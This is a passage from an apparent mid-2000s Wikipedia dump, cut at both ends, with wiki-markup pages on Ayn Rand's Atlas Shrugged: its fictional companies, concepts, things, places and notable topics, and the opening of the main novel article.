The fictional [[railroad]] run by [[Characters in Atlas Shrugged|Dagny Taggart]].  Her commitment to the railroad creates one of the book's major conflicts.

Taggart Transcontinental was founded by [[Characters in Atlas Shrugged|Nathaniel Taggart]] who lived three generations (or so) prior to Dagny's generation.  It was built without any grants, loans, or favors from the government, and was the last railroad that was still owned and controlled by its founder's descendants.  Its motto is, ''From Ocean to Ocean''.

The 'flagship' of Taggart Transcontinental is the [[Things in Atlas_Shrugged|Taggart Comet]] which runs from [[Places in Atlas Shrugged|New York]] to [[Places in Atlas_Shrugged|San Francisco]], and which has never been late.

==United Locomotive Works==
An incompetent company that is supposed to deliver Diesel engines to Taggart Transcontinental. The order is delayed in perpetuity, and the [[Characters in Atlas_Shrugged|president]] of the company refuses to ever give a straight answer as to why this is so.

The United Locomotive Works is mentioned in [[Structure of Atlas Shrugged|sections]] 133 and 141.

==Wyatt Oil==
The oil company run by [[Characters in Atlas_Shrugged|Ellis Wyatt]].  Wyatt's father had squeezed a living out of the oil fields in [[Places in Atlas_Shrugged|Colorado]], but when Ellis Wyatt took over the business took off.  He discovered a technique for extracting oil from wells that had been abandoned as dried up.  The success of Wyatt Oil that followed this discovery suddenly and unexpectedly turned [[Places in Atlas_Shrugged|Colorado]] into the leading economy in the country.

Wyatt Oil traditionally relied on Taggart Transcontinental's [[Things in Atlas_Shrugged|Rio Norte Line]] to ship its oil.  But when that company could not grow fast enough to keep up with the booming [[Places in Atlas_Shrugged|Colorado]] economy, Wyatt started using the small but well-managed Phoenix-Durango instead.  This prompted [[Characters in Atlas_Shrugged|James Taggart]] to make deals with his friends to drive the Phoenix-Durango out of [[Places in Atlas_Shrugged|Colorado]].  Afterwards, [[Characters in Atlas_Shrugged|Dagny Taggart]] has to rebuild the [[Things in Atlas_Shrugged|Rio Norte Line]] so it can supply transportation to Wyatt Oil - if she fails, the economy of [[Places in Atlas_Shrugged|Colorado]], and of the whole country, could collapse.

Wyatt Oil is mentioned in [[Structure of Atlas Shrugged|sections]] 111, 132 and 171.

[[Category:Atlas Shrugged]]
[[Category:Fictional companies|Atlas Shrugged]]</text>
    </revision>
  </page>
  <page>
    <title>Concepts in Atlas Shrugged</title>
    <id>365</id>
    <revision>
      <id>28929793</id>
      <timestamp>2005-11-21T20:43:06Z</timestamp>
      <contributor>
        <username>Iceberg3k</username>
        <id>50063</id>
      </contributor>
      <text xml:space="preserve">Some of the important '''concepts''' discussed in [[Atlas Shrugged]] include  the ''Sanction of the Victim'' and the ''Theory of Sex''.

===Sanction of the Victim===

The Sanction of the Victim is defined as &quot;the willingness of the good to suffer at the hands of the [[evil]], to accept the role of sacrificial victim for the '[[sin]]' of creating values.&quot;

The entire story of Atlas Shrugged can be seen as an answer to the question, what would happen if this sanction was revoked?  When Atlas shrugs, relieving himself of the burden of carrying the world, he is revoking his sanction.

The concept is supposedly original in the thinking of [[Ayn Rand]] and is foundational to her moral theory.  She holds that evil is a parasite on the good and can only exist if the good tolerates it.  To quote from [[Atlas_Shrugged/Galts Speech|Galt's Speech]]: &quot;Evil is impotent and has no power but that which we let it extort from us&quot;, and, &quot;I saw that evil was impotent...and the only weapon of its triumph was the willingness of the good to serve it.&quot;  Morality requires that we do not sanction our own victimhood, Rand claims.  In adhering to this concept, Rand assigns virtue to the trait of [[selfishness]].

Throughout Atlas Shrugged, numerous characters admit that there is something wrong with the world but they cannot put their finger on what it is.  The concept they cannot grasp is the sanction of the victim.  The first person to grasp the concept is [[Characters in Atlas Shrugged|John Galt]], who vows to stop the motor of the world by getting the creators of the world to withhold their sanction.

We first glimpse the concept in [[Structure of Atlas Shrugged|section]] 121 when [[Characters in Atlas Shrugged|Hank Rearden]] feels he is duty-bound to support his family, despite their hostility towards him.

In [[Structure of Atlas Shrugged|section]] 146 the principle is stated explicitly by [[Characters in Atlas Shrugged|Dan Conway]]: &quot;I suppose somebody's got to be sacrificed. If it turned out to be me, I have no right to complain.&quot;

===Theory of Sex===

In rejecting the traditional [[Christianity|Christian]] altruist [[moral code]], Rand also rejects the sexual code that, in her view, is a [[logical implication]] of [[altruism]].

Rand introduces a theory of sex in ''Atlas Shrugged'' which is purportedly implied by her broader ethical and psychological theories.  Far from being a debasing animal instinct, sex is the highest celebration of our greatest values.  Sex is a physical response to intellectual and spiritual values&amp;mdash;a mechanism for giving concrete expression to values that could otherwise only be experienced in the abstract.

One is sexually attracted to those who embody one's values.  Those who have base values will be attracted to baseness, to those who also have ignoble values.  Those who lack any clear purpose will find sex devoid of meaning.  People of high values will respond sexually to those who embody high values.

That our [[sexual desire]] is a response to the embodiment of our values in others is a radical and original theory.  However, even those who are sympathetic to this theory have criticized it as being incomplete.  For instance, since according to Rand the economy is also such an expression of values, and since it is always possible to encounter someone who embodies one's values more completely, this would seem to make [[family]] undesirable. (Indeed, Rand treats &quot;family&quot; as a sort of trap.) Furthermore, [[promiscuity]], [[prostitution]], and an endless [[round-robin]] of &quot;values-driven&quot; sexual relationships would become inevitable.  From this viewpoint, one could say that [[Aldous Huxley]] portrayed the ideal sexual state: ''[[Brave New World]]'' features humans who are incapable of deviating from their caste-oriented &quot;values&quot;, which naturally include a code of sexual desirability.

Her sexual theory is illustrated in the contrasting relationships of [[Characters in Atlas Shrugged|Hank Rearden]] with [[Characters in Atlas Shrugged|Lillian Rearden]] and [[Characters in Atlas Shrugged|Dagny Taggart]], and later with Dagny Taggart and [[Characters in Atlas Shrugged|John Galt]].  

Other important illustrations of this theory are found in:

[[Structure of Atlas Shrugged|Section]] 152 - recounts Dagny's relationship with [[Characters in Atlas Shrugged|Francisco d'Anconia]].

[[Structure of Atlas Shrugged|Section]] 161 - recounts Hank and Lillian Rearden's courtship, and Lillian's attitude towards sex.

[[Category:Atlas Shrugged]]</text>
    </revision>
  </page>
  <page>
    <title>Places In Atlas Shrugged</title>
    <id>366</id>
    <revision>
      <id>15899096</id>
      <timestamp>2003-03-13T15:37:38Z</timestamp>
      <contributor>
        <username>Ams80</username>
        <id>7543</id>
      </contributor>
      <minor />
      <comment>Making redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Places in Atlas Shrugged]]</text>
    </revision>
  </page>
  <page>
    <title>Things in Atlas Shrugged</title>
    <id>368</id>
    <revision>
      <id>35151715</id>
      <timestamp>2006-01-14T15:11:15Z</timestamp>
      <contributor>
        <ip>80.177.190.150</ip>
      </contributor>
      <comment>/* John Galt Legends */</comment>
      <text xml:space="preserve">This is a list of general items in [[Ayn Rand]]'s ''[[Atlas Shrugged]]''.

{{spoiler}}

==Anti-dog-eat-dog Rule==

The Anti-dog-eat-dog Rule is passed by the National Alliance of Railroads in [[Structure of Atlas Shrugged|section]] 145, allegedly to prevent &quot;destructive competition&quot; between [[railroad]]s.  The rule gives the Alliance the authority to forbid competition between railroads in certain parts of the country.  It was crafted by [[Characters in Atlas_Shrugged#Orren Boyle|Orren Boyle]] as a favor for [[Characters in Atlas_Shrugged#James Taggart|James Taggart]], with the purpose of driving the [[Companies in Atlas_Shrugged#Phoenix-Durango|Phoenix-Durango]] out of [[Places in Atlas_Shrugged#Colorado|Colorado]].

==Bracelet==

The very first thing made from ''Rearden Metal'' is a bracelet.  The bracelet is used to illustrate Rand's [[Concepts in Atlas Shrugged#Theory of Sex|Theory of Sex]].

The bracelet symbolizes the value created by [[Characters in Atlas_Shrugged#Hank Rearden|Hank Rearden's]] long struggle to invent Rearden Metal.  When he gives it to [[Characters in Atlas_Shrugged#Lillian Rearden|Lillian Rearden]] as a present in section 121; she says, &quot;It's fully as valuable as a piece of railroad rails.&quot;  However, Lillian fully grasps the significance of the gift; her snide remark is her way of denigrating her husband's ethos.

In section 161, Lillian wears this bracelet at a party thrown on her anniversary.  She makes fun of it all night long, and when [[Characters in Atlas_Shrugged#Dagny Taggart|Dagny Taggart]] hears Lillian say she would gladly trade it for a common diamond bracelet, Dagny takes her up on it.

Lillian later asks for it back upon realizing her power over her husband was slowly diminishing.  Dagny denies the offer.

The bracelet appears in [[Structure of Atlas Shrugged|sections]] 121 and 161.

==Cub Club==

A night club in [[Places in Atlas_Shrugged|New York]].  When [[Characters in Atlas_Shrugged#Francisco d'Anconia|Francisco d'Anconia]] returns to New York in [[Structure of Atlas Shrugged|section]] 141, he explains he came because of a hat-check girl at the Cub Club and the liverwurst at Moe's Delicatessen on Third Avenue.

==Equalization of Opportunity Bill==

A bill designed by the [[Characters in Atlas Shrugged#Looters|Looters]] that proposes to limit the number of businesses any one person can own to one.  It is aimed primarily at [[Characters in Atlas Shrugged#Hank Rearden|Hank Rearden]], who uses [[Companies in Atlas_Shrugged#Rearden Ore|Rearden Ore]] to guarantee [[Companies in Atlas_Shrugged#Rearden Steel|Rearden Steel]] with a supply of iron ore.  By passing this Bill, the Looters can seize Rearden's other businesses for themselves, and then deny him the iron he needs to run his steel mills.

The Looters claim the Bill is meant to give a chance to the little guy.

The Equalization of Opportunity Bill is appears in [[Structure of Atlas Shrugged|section]] 161.

==Galt's Gulch==

A secluded refuge in a valley of Colorado where the men of ability have retreated after relinquishing participation in American society.  Nicknamed &quot;Galt's Gulch&quot; by its inhabitants, it is in fact the property of &quot;Midas&quot; Mulligan, one of the early strikers to follow John Galt's call. This call was to the great men of mind and action to abandon the increasingly slave-state inclinations of a decaying United States - to go on strike - thereby withdrawing the only thing supporting the parasites and looters.

Sarcastically nicknamed Midas in the press because everything he seemed to touch turned to gold, Mulligan adopted the nickname during his explosive investment career before dropping out of sight.  He had purchased this land among his far-ranging speculative endeavors, and subsequently retreated to it upon his disappearance.  Other strikers soon followed him there, including John Galt, renting or buying land for summer retreats as a respite from continuing their search for fellow strikers among the increasingly collapsing American society.  Eventually, a society develops in Galt's Gulch as more people live there year-round as the outside world becomes virtually unsafe to visit.

We are introduced to Galt's Gulch in the final section of the Novel, in the first chapter, entitled Atlantis.  The people live with each other in completely free society and embody everything which is the thesis of the Novel, the appropriate values for a society of Mankind: philosophical, moral, economic, legal, aesthetic, and sexual, among others too numerous to mention.

We find industrious, ambitious, happy people continuing their chosen fields of endeavor without the yokes of any taxation or regulation.  Conversely, there is a reverence for private property; everything transacted is paid for with the re-invented currency of solid gold coin struck from the reserves of Midas Mulligan's bank which now resides in the valley.  The townspeople receive services from the various heroes we have met throughout the Novel, who all now reside and produce in the valley. They purchase power inexpensively from Galt and his invention of the static electricity motor, maintain their anonymity from the outside world via Galt's invention of the air-wave reflection device (giving the view from above the camouflage of reflected images of other mountainsides nearby), and some attend Galt's lectures on Physics, where he explains his discoveries on new fundamental laws and applied mathematics.  The people purchase medical treatment from the care of Dr. Hendricks, who uses his invention of a portable [[X-ray]] machine to initially diagnose Dagny Taggart upon her crash landing into the valley, attend concerts of new musical compositions of Richard Halley who has continued to compose in the Valley, acquire raw materials from the efforts of Francisco D'Anconia's excavations around the valley, attend philosophy lectures from the now-retired pirate Ragnar Danneskjöld, receive loans from Midas Mulligan, etc.

Rand's description of Galt's Gulch was inspired by a visit she and her husband Frank O'Connor took to [[Ouray, Colorado]] while researching Colorado for the novel.

==Halley's Fifth Concerto==

[[Characters in Atlas Shrugged#Richard Halley|Richard Halley]] disappeared after he had written only four concertos.  In [[Structure of Atlas Shrugged|section]] 112, [[Characters in Atlas Shrugged#Dagny Taggart|Dagny Taggart]], an enthusiastic fan of Halley's music, hears an unfamiliar theme being whistled by a [[Characters in Atlas Shrugged#Brakeman|brakeman]] on the Taggart Comet.  She asks him what it is; he responds Halley's Fifth Concerto.  When Dagny says Halley only wrote four concertos, the brakeman says he made a mistake and denies knowing what the song was.

Later, Dagny calls [[Minor characters in Atlas Shrugged|Mr. Ayers]] to find out if Halley wrote a fifth concerto. Ayers says Halley did not.

Halley's Fifth Concerto is mentioned in [[Structure of Atlas Shrugged|sections]] 112, 114 and 152.

==Halley's Fourth Concerto==

The last thing [[Characters in Atlas Shrugged#Richard Halley|Richard Halley]] wrote before he disappeared.  It is a song of rebellion and defiance that seemed to say agony and suffering were not necessary.  [[Characters in Atlas Shrugged#Dagny Taggart|Dagny Taggart]] listened to this piece in [[Structure of Atlas Shrugged|section]] 141.

It is mentioned in [[Structure of Atlas Shrugged|section]] 152.

==''Heaven's In Your Backyard''==

A film.  [[Characters in Atlas Shrugged#Mort Liddy|Mort Liddy]] wrote the score, using a bastardized version of ''Halley's Fourth Concerto''.  It is mentioned in [[Structure of Atlas Shrugged|section]] 161.

==John Galt Legends==

Since everyone across the country is asking, &quot;Who is John Galt?&quot;, it is not surprising that some people have come up with answers.  A number of John Galt Legends are told, each of which, ironically, turns out to be true, at least symbolically.

'''''Legend 1''''' ([[Structure of Atlas Shrugged|section]] 161):  A [[Minor characters in Atlas Shrugged|spinster]] at [[Characters in Atlas Shrugged#Lillian Rearden|Lillian Rearden's]] party tells [[Characters in Atlas Shrugged#Dagny Taggart|Dagny]] the story.  John Galt was a man of inestimable wealth who found the sunken island of [[Atlantis]] while fighting the worst storm ever wreaked upon the world.  The sight was so beautiful that, having seen it, he could never go back to the world, so he sank his ship and took his fortune down with him.

The actual John Galt was a man who created something of inestimable value, a new motor, and who discovered the secret to what was wrong with the world while fighting the most evil social philosophy ever put into practice.  The world he envisioned was so beautiful that he refused to live in the world that was, and disappeared, taking the secret of motor with him.

Atlantis, the Isles of the Blessed, is a place where no one could enter except those who had the spirit of a hero.  Described in these terms, it is the same as ''Galt's Gulch''.

==Moe's Delicatessen==

A delicatessen in [[Places in Atlas Shrugged#New York|New York]].  When [[Characters in Atlas Shrugged#Francisco d'Anconia|Francisco d'Anconia]] returns to New York in [[Structure of Atlas Shrugged|section]] 141, he explains he came because of a hat-check girl at the ''Cub Club'' and the liverwurst at Moe's Delicatessen on Third Avenue.

==National Alliance of Railroads==

An industry group formed to promote the welfare of the industry as a whole, requiring members to sacrifice their individual interests for the common good.  [[Characters in Atlas_Shrugged#Orren Boyle|Orren Boyle]] has friends on the National Alliance of Railroads, and he gets them to support the Anti-dog-eat-dog Rule, which uses a string of pretenses to drive the [[Companies in Atlas_Shrugged#Phoenix-Durango|Phoenix-Durango]] out of [[Places in Atlas_Shrugged#Colorado|Colorado]].

The National Alliance of Railroads is mentioned in [[Structure of Atlas Shrugged|sections]] 131, 145 and 146.

==National Council of Metal Industries==

An industry group that uses political pull to get its way. [[Characters in Atlas Shrugged#James Taggart|James Taggart]] has friends on the National Council of Metal Industries, and he gets them to support legislation that will hurt [[Companies in Atlas_Shrugged#Rearden Steel|Rearden Steel]] and help [[Companies in Atlas_Shrugged#Associated Steel|Associated Steel]].
 
The National Council of Metal Industries is mentioned in [[Structure of Atlas Shrugged|section]] 131.

==Patrick Henry University==

The most prestigious university in the world.  It was attended by [[Characters in Atlas Shrugged|John Galt]], [[Characters in Atlas Shrugged#Francisco d'Anconia|Francisco d'Anconia]], and [[Characters in Atlas Shrugged#Ragnar_Danneskj.F6ld|Ragnar Danneskjold]], where they met and became friends.  [[Characters in Atlas Shrugged#Hugh Akston|Hugh Akston]] and [[Characters in Atlas Shrugged#Robert Stadler|Robert Stadler]] taught there.  It is located in [[Places in Atlas_Shrugged|Cleveland]].

==Rio Norte Line==

A branch of [[Companies in Atlas_Shrugged#Taggart Transcontinental|Taggart Transcontinental]] that runs from [[Places in Atlas_Shrugged|Cheyenne, Wyoming]] to [[Places in Atlas_Shrugged|El Paso, Texas]].

It is mentioned in [[Structure of Atlas Shrugged|sections]] 111, 114, 131 (alluded to), 132, 133, 141, 146, 147 and 148.

==Rockdale Station==

A station on the [[Companies in Atlas_Shrugged#Taggart Transcontinental|Taggart Transcontinental]] line, located five miles from the Taggart estate and overlooking the [[Places in Atlas_Shrugged|Hudson River]].  It was the site of [[Characters in Atlas_Shrugged#Dagny Taggart|Dagny Taggart's]] first job with the railroad, night operator, at age 16.

It appears in [[Structure of Atlas Shrugged|section]] 152.

==San Sebastian==

A community built to house the workers of the ''San Sebastian Mines'' and their families.  As it turns out, the houses, roads, and everything of practical value is built so poorly that the community can be expected to fall apart within a year or two.  Only the church was built to last.

It is mentioned in [[Structure of Atlas Shrugged|section]] 152.

==San Sebastian Line==

A branch of [[Companies in Atlas_Shrugged#Taggart Transcontinental|Taggart Transcontinental]] that serves the ''San Sebastian Mines'' in [[Places in Atlas_Shrugged|Mexico]].

The mines were developed by [[Characters in Atlas_Shrugged#Francisco d'Anconia|Francisco d'Anconia]] and attracted significant investments from [[Characters in Atlas_Shrugged#James Taggart|James Taggart]] and [[Characters in Atlas Shrugged#Orren Boyle|Orren Boyle]], who assumed Francisco could be counted on to deliver a winner.

The San Sebastian Line is nationalized by the Mexican government soon after completion.

When it is nationalized in [[Structure of Atlas Shrugged|section]] 142, it is referred to as the San Sebastian Railroad.

It is mentioned in [[Structure of Atlas Shrugged|sections]] 114, 131, 132, 133, 142, 143 and 152.

==San Sebastian Mines==

San Sebastian Mines is a copper mining project in [[Places in Atlas_Shrugged|Mexico]] founded by [[Characters in Atlas_Shrugged#Francisco d'Anconia|Francisco d'Anconia]] and named after his ancestor [[Minor characters in Atlas_Shrugged|Sebastian d'Anconia]].  Francisco's reputation as a businessman is so great that investors flock to him, begging to invest money in the enterprise.  Investors include [[Characters in Atlas_Shrugged#James Taggart|James Taggart]] and [[Characters in Atlas_Shrugged#Orren Boyle|Orren Boyle]]. Taggart goes so far as to build a new branch of [[Companies in Atlas_Shrugged#Taggart Transcontinental|Taggart Transcontinental]], the ''San Sebastian Line'', to serve the mines, sinking $30 million into the project.  When the development of the mines appears complete, the Mexican government nationalizes them as well as the ''San Sebastian Line'', only to discover there is no copper and there never was.

When Taggart tells Francisco he considers the Mines a rotten swindle ([[Structure of Atlas Shrugged|section]] 161), Francisco explains that Taggart should be pleased with the way he ran the mines.  He says he put into practice those moral precepts that were accepted around the world.  The world says it is evil to pursue a profit &amp;mdash; he got no profit from the worthless mines.  The world says the purpose of an enterprise is not to produce, but to give a livelihood to its employees &amp;mdash; it produced nothing, but created jobs that would never have existed if one was only concerned with developing a real mine.  The world says the owner is an exploiter and the workers do all the real work &amp;mdash; he left the enterprise entirely in the hands of the workers and did not burden anyone with his presence.  The world says need is more important than ability &amp;mdash; he hired a mining specialist who needed a job very badly, but had no ability.

In short, the San Sebastian Mines were an illustration of what happens when this moral code is put into practice, and a warning of what will soon happen to the world as a whole.

The San Sebastian Mines appear in [[Structure of Atlas Shrugged|sections]] 111, 131, 132, 142, 151, 152 and 161.

==Taggart Building==

A skyscraper in [[Places in Atlas_Shrugged|New York]], the headquarters of [[Companies in Atlas_Shrugged#Taggart Transcontinental|Taggart Transcontinental]], and the location of the Taggart Terminal.

==Taggart Comet==

The Taggart Comet is [[Companies in Atlas_Shrugged#Taggart Transcontinental|Taggart Transcontinental's]] flagship train.  It runs from [[Places in Atlas_Shrugged|New York]] to [[Places in Atlas_Shrugged|San Francisco]], and has never been late.

The Taggart Comet appears in [[Structure of Atlas Shrugged|sections]] 112, 113 and 152.

==The Future==

See [[Characters in Atlas Shrugged#Bertram Scudder|Bertram Scudder]].

==''The Heart Is A Milkman''==

''The Heart is a Milkman'' is a novel being written by [[Characters in Atlas Shrugged#Balph Eubank|Balph Eubank]].  It is about the central fact of human existence, frustration.  Eubank says he will dedicate it to [[Characters in Atlas Shrugged#Lillian Rearden|Lillian Rearden]].

It is mentioned in [[Structure of Atlas Shrugged|section]] 161.

==The Octopus==

See [[Characters in Atlas Shrugged#Bertram Scudder|Bertram Scudder]].

==''The Vulture Is Molting''==

A best-selling novel that captures the spirit of the times, ''The Vulture Is Molting'' is &quot;A penetrating study of a businessman's greed.  A fearless revelation of man's depravity.&quot;  The book is mentioned in [[Structure of Atlas Shrugged|section]] 141 as one of the artifacts of [[popular culture]] that depresses [[Characters in Atlas_Shrugged#Dagny Taggart|Dagny Taggart]] with its baseness.

==Wayne-Falkland Hotel==

A luxurious hotel in [[Places in Atlas_Shrugged|New York]], it is considered the best hotel left in the world.  It is where [[Characters in Atlas_Shrugged#Francisco d'Anconia|Francisco d'Anconia]] stays when he is in town.  It was also the scene of [[Characters in Atlas_Shrugged#Dagny Taggart|Dagny Taggart's]] debut ball when she was seventeen.

It may be based on the Waldorf-Astoria Hotel in New York City.

The Wayne-Falkland Hotel is mentioned in [[Structure of Atlas Shrugged|sections]] 141, 151 and 152.

==Wyatt Oil Fields==

The Wyatt Oil Fields are in [[Places in Atlas_Shrugged|Colorado]].  They are a bunch of old, abandoned oil wells that were revived by a new technique invented by [[Characters in Atlas_Shrugged#Ellis Wyatt|Ellis Wyatt]].  This has almost single-handedly revitalized the economy of [[Places in Atlas_Shrugged|Colorado]].

The Wyatt Oil Fields appear in [[Structure of Atlas Shrugged|sections]] 111 and 161.

[[Category:Atlas Shrugged]]
[[Category:Lists of fictional things]]</text>
    </revision>
  </page>
  <page>
    <title>Topics of note in Atlas Shrugged</title>
    <id>369</id>
    <revision>
      <id>38560634</id>
      <timestamp>2006-02-07T02:58:11Z</timestamp>
      <contributor>
        <username>Ds13</username>
        <id>43805</id>
      </contributor>
      <minor />
      <comment>reduce generalization about lack of lying</comment>
      <text xml:space="preserve">===Atlas===
As told in ''[[Atlas Shrugged]]'', Atlas carried the world on his shoulders. But in the [[Greek Mythology|Greek Myths]], the Titan [[Atlas (mythology)|Atlas]] stands on the earth and holds up the sky. In the statues that represent Atlas, the big round thing on his back represents the heavens, which, because of the apparent circular motion of the planets around the earth, were conceived of as being round. Some tellings of the Atlas myth have him carrying both the earth and the heavens on his back, but this appears to be a modern retelling; further research might confirm this.

===Character names===
Some of the character names are, or appear to be, puns, or have some other significance.  (See also [[Characters in Atlas Shrugged]].)
When asked why so many of her names have syllables with many hard consonants like dag, tag, den, stad, Rand said that she just liked those sounds.

*'''Ragnar Danneskjold''' - sounds like 'Dane's Gold', a tribute paid by the medieval English to the Vikings to bribe them into being peaceful.  (However, note &quot;skjold&quot; means shield, not gold.)  However, the hero of [[Victor Hugo]]'s first novel, ''Hans of Iceland'' becomes the first of the Counts of Danneskjöld.  In the 1970's, Rand told Marsha Familaro Enright that her use of this name was not plagiarism because there really were Counts of Danneskjöld.
*'''Robert Stadler''' - sounds like the German word for state, Staat. Dr. Stadler is a statist, in that he believes it appropriate and necessary for the state to fund scientific research.
*'''Francisco d'Anconia''' - Rand's husband was Frank O'Connor.
*'''John Galt''' - the name of a 19th century Scottish novelist, though this is apparently coincidental. Galt is close to 'Geld' and 'gold'. The name was probably used because it had to be such that it could become proverbial&amp;mdash;this would not be possible with a long, awkward name.
*'''Wesley Mouch''' - Mouch is exactly what his name sounds like, a mooch.  He has no real virtue or skill, but somehow becomes a powerful figure.

===Crime===
Common street crime is conspicuously absent in ''Atlas Shrugged''. Characters walk the streets with no thought of being mugged or attacked.

===Historical figures and events===
''Atlas Shrugged'' takes place in a world with a different history from our own, but there are some historical figures and events that are mentioned.

*[[Aristotle]] ([[Structure of Atlas Shrugged|section]] 152): Francisco d'Anconia wrote a thesis on the influence of Aristotle's theory of the Immovable Mover.
*[[Dark Ages]] ([[Structure of Atlas Shrugged|section]] 161): Ragnar Danneskjold's piracy is likened to something out of the Dark Ages.
*[[Inquisition]] ([[Structure of Atlas Shrugged|section]] 152): Sebastian d'Anconia flees Spain to escape persecution under the Inquisition.
*[[Middle Ages]] ([[Structure of Atlas Shrugged|section]] 161): It is said that Ragnar Danneskjold hides in the Norwegian fjords as the Vikings did in the Middle Ages.
*[[Nero]] ([[Structure of Atlas Shrugged|section]] 152): Francisco d'Anconia compares himself to the Emperor Nero.
*[[Patrick Henry]] ([[Structure of Atlas Shrugged|section]] 152): The [[eponym]] of Patrick Henry University.
*[[Vikings]] ([[Structure of Atlas Shrugged|section]] 161): It is said that Ragnar Danneskjold hides in the Norwegian fjords as the Vikings did in the Middle Ages.

===Humor===
In [[Structure of Atlas Shrugged|section]] 152, Francisco cracks that the Mexican government was promising a roast of pork every Sunday for every man, woman, child and abortion.

In [[Structure of Atlas Shrugged|section]] 152, Francisco lists the various buildings constructed for the workers of the San Sebastian Mines, and notes how they are all poorly built and can be expected to collapse, except for the church. &quot;The church, I think, will stand. They'll need it,&quot; he quips. Since the other things are things of value&amp;mdash;houses, roads, etc.&amp;mdash;it is ironic that only the church was built to last; to Rand and her heroes, a church is of no real value.

Almost every nation in the world except the United States is referred to as &quot;The People's State of...&quot;, and they are all, apparently, the recipients of relief supplies from the United States. In conversation, people casually refer to them as &quot;The People's State of...&quot; rather than just, say, France or Norway. It is obvious that people would not refer to countries by their formal names in casual conversation&amp;mdash;we don't call Canada &quot;The Dominion of Canada&quot; or Germany &quot;The Federal Republic of Germany&quot;&amp;mdash;so by having her characters do this Rand is exercising her dry wit.

===Lying===
The sympathetic characters of ''Atlas Shrugged'' generally do not tell lies. With the following exceptions, even when they are clearly trying to conceal something, they do not rely on overt falsehood, even when it is obvious that they could do so without being found out.

*In section 112 Brakeman tells Dagny Taggart he does not recall the name of the song he was whistling or where he heard it.
*In section 141 Francisco d'Anconia tells the press he came to [[Places in Atlas_Shrugged|New York]] because of a hat check girl and the liverwurst at [[Things in Atlas_Shrugged|Moe's Delicatessen]].
*In section 151 we learn Dagny Taggart once lied to her mother about a cut to her lip that Francisco had given her. This was the only lie she ever told.
*In section 152 Dagny Taggart asks Francisco if Richard Halley has written a fifth concerto. He is evasive and tells her that Halley has stopped writing. Is this a lie?
*In section 161, Hank Rearden tells Dagny that he was the one who invited Bertram Scudder to the Rearden's anniversary party. It was actually Lillian who invited him, and Rearden had been furious about it.
*In part 2/chapter 9, Eddie Willers tells Dagny Taggart that his hesitation and uncertainty is caused by the illegality of her directions.  In fact, Eddie was shocked by the evidence and thus realization of her affair with Hank Rearden.

===People's States===
Almost every nation that is mentioned, other than the [[Places in Atlas_Shrugged|United States]], is referred to as a &quot;People's State&quot;. These include:

* The People's State of [[Places in Atlas_Shrugged|England]]
* The People's State of [[Places in Atlas_Shrugged|France]]
* The People's State of [[Places in Atlas_Shrugged|India]]
* The People's State of [[Places in Atlas_Shrugged|Mexico]]
* The People's State of [[Places in Atlas_Shrugged|Norway]]
* The People's State of [[Places in Atlas_Shrugged|Portugal]]
* The People's State of [[Places in Atlas_Shrugged|Turkey]]

The leaders of these countries are given the title the &quot;Head of the People's State,&quot; and called &quot;Mr._____&quot; (or &quot;Senor&quot;____). The President of the United States is refered to as &quot;Mr. Thompson&quot; and called the &quot;Head of the State,&quot; which seems to imply the US is on its way to becoming a People's State as well. 

===Religion===
In [[Structure of Atlas Shrugged|section]] 152 Francisco tells Dagny he named the [[Things in Atlas_Shrugged|San Sebastian Mines]] after his ancestor Sebastian d'Anconia, a man they both honor deeply. This, to Dagny, is blasphemy&amp;mdash;the only kind of blasphemy she understands.

===Social classes===
Rand is sometimes called an elitist. This claim is probably accurate if we allow for the fact that Rand had her own standard of eliteness&amp;mdash;throughout ''Atlas Shrugged'', virtue is equated with creative ability.  It is, however, worth noting that in ''Atlas Shrugged'', there are no characters with creative ability which do not function as [[author surrogate]] characters (most notably Dagny Taggart); conversely, all of the [[Straw man|characters]] which disagree with the author are unintelligent and creatively bankrupt, and usually actively destructive.  Compare to the real world, where scientists, inventors, artists and industrialists often have wildly varying and strongly conflicting desires and opinions.

Different social classes are represented among both the heroes and the villains of ''Atlas Shrugged''. Among the heroes, John Galt and Hank Rearden are from working class backgrounds, while Dagny Taggart and Francisco d'Anconia are from wealthy families. Among the villains, Fred Kinnan is from a working class background, while James Taggart and Betty Pope are from wealthy families.

[[Category:Atlas Shrugged]]</text>
    </revision>
  </page>
  <page>
    <title>Atlas Shrugged</title>
    <id>568</id>
    <revision>
      <id>42127150</id>
      <timestamp>2006-03-04T00:18:59Z</timestamp>
      <contributor>
        <ip>72.141.37.94</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Atlas shrugged cover.jpg|thumbnail|200px|''Atlas Shrugged'' cover by [[Nick Gaetano]]. ]]

'''''Atlas Shrugged''''' is a novel by Russian-born writer and philosopher [[Ayn Rand]], first published in [[1957]] in the [[United States|USA]], and Rand's last work of fiction before concentrating her writings exclusively on philosophy.  Most regard ''Atlas Shrugged'' as Rand's most famous work, her ''tour de force'', and most [[Objectivist philosophy|Objectivists]] hold it to be, objectively (as in factually), the greatest novel of all time. Its theme (as stated by Rand) is &quot;the importance of the individual's reasoning mind in human life.&quot;

It is a highly philosophical and [[allegory|allegorical]] story that deals with themes of Rand's own [[Objectivism]], though she was not yet known as a philosopher when it was written. Whether or not she had philosophical intentions, and to what extent or sense the novel is an allegory, are controversial subjects. In fact, the ideas behind the book, and their extremism, as well as its relative popularity have made it one of the most controversial novels of the [[20th century]]. It is also one of the [[List_of_longest_novels|longest novels]] ever written, totaling one-thousand pages or more (depending on the publication).
 
{{spoiler}}

==Philosophy and writing==

The theme of ''Atlas Shrugged'' is that independent, rational thought is the motor that powers the world. In the book, &quot;men of the mind&quot; go on [[Strike action|strike]], allowing the collapse of what only they hold together &amp;#8212; a peaceful cohesiveness Rand claims that humans, particularly those whose productive work comes from mental effort, may create wherever forceful human interference is absent. Given no alternative, they remove themselves from the &quot;looters.&quot; The title is an analogy: the rational men, like the Greek God Atlas, hold the world on their shoulders; in the form of a strike, they have chosen to 'shrug.' The book is rooted in [[Objectivist philosophy|Objectivism]], the philosophical system founded by Rand.

